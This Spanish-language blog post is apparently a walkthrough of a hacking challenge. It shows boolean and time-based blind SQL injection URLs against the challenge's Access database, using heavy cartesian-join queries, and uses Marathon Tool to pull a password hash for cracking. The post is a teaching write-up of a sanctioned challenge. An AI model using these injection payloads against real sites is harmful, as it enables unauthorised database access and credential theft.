Reto Hacking I con Marathon Tool

Hola a tod@s,

Allá por finales del 2006, cuando salió el Reto Hacking I, este fue diseñado para ser pasado utilizando Blind SQL Injection en base a patrones, es decir. Bastaba con fijarse en los cambios de los valores de las pistas cuando se inyecta algo True y cuando se inyecta algo False:

Verdadero: Sale la pista 2

http://www.informatica64.com/retohacking/pista.aspx?id_pista=2 and 1=1

Falso: Sale la pista 1 que es la de por defecto ante ausencia de valores en la query.

http://www.informatica64.com/retohacking/pista.aspx?id_pista=2 and 1=2

La dificultad dos era adivinar que estaba programado usando Access y claro, al no haber diccionario de datos había que adivinar que la había una tabla llamada Contrasena, con una columna llamada Contrasena. Pero... para eso estaban las pistas. Si quieres puedes leer el solucionario que hizo Dani Kachakil sobre él.

Pero... ¿se podría haber sacado sólo con la pista 1, es decir, sin que hubiera existido la pista 2?

http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and 1=1

http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and 1=2

Como se puede ver en este caso no hay diferencia pues en caso de error el programa devuelve la pista por defecto, es decir, la pista 1. ¿Solución? Pues pasarlo con consultas pesadas... y Marathon Tool.

Paso 1: Descubrir la tabla y la columna

Verdadero: La consulta dura como unos 6 segundos más o menos

http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and (select count(*) from MSysAccessObjects as t1, MSysAccessObjects as t2, MSysAccessObjects as t3, MSysAccessObjects as t4, MSysAccessObjects as t5, MSysAccessObjects as t6, MSysAccessObjects as t7, MSysAccessObjects as t8, MSysAccessObjects as t9, MSysAccessObjects as t10)=0 and exists (select Contrasena from Contrasena)

Falso: La consulta dura poco más de 1 segundo, sólo la latencia de red.

http://www.informatica64.com/retohacking/pista.aspx?id_pista=1 and (select count(*) from MSysAccessObjects as t1, MSysAccessObjects as t2, MSysAccessObjects as t3, MSysAccessObjects as t4, MSysAccessObjects as t5, MSysAccessObjects as t6, MSysAccessObjects as t7, MSysAccessObjects as t8, MSysAccessObjects as t9, MSysAccessObjects as t10)=0 and NOT exists (select Contrasena from Contrasena)

Fase 2: Sacar la Contraseña con Marathon Tool

Para esta fase usamos Marathon Tool, se configura como se ve en la imagen. En este caso es un Access 2000, pero podría haber sido un Access 2003/2007 pero esto ya lo tendrías que haber probado en la Fase 1. Después se inicializa la tool

Configuración Access 2000 para Reto Hacking I
Después se debe configurar la tabla y la columna a extraer. Esto se debe realizar en las bases de datos Access porque no disponen de un diccionario de datos, por eso era necesaria la Fase 1:

Configuración de Tabla y columna
Una vez configurada se da al botón de Get Data y Marathon Tool se pone a currar...

Marathon Tool trabajando
En el log se puede apreciar que Marathon Tool ha encontrado el número de registros y la longitud del dato. En este caso 1 registro de 32 caracteres de longitud. Al final, los datos aparecerán en la pestaña de Database data. Una vez aparezca el Hash el resto es crackearlo y listo.

Si te apetece aprender más sobre este tema:

- Time-Based Blind SQL Injection using Heavy Queries (Parte I de II)
- Time-Based Blind SQL Injection using Heavy Queries (Parte II de II)
- Descargar Marathon Tool

Saludos Malignos!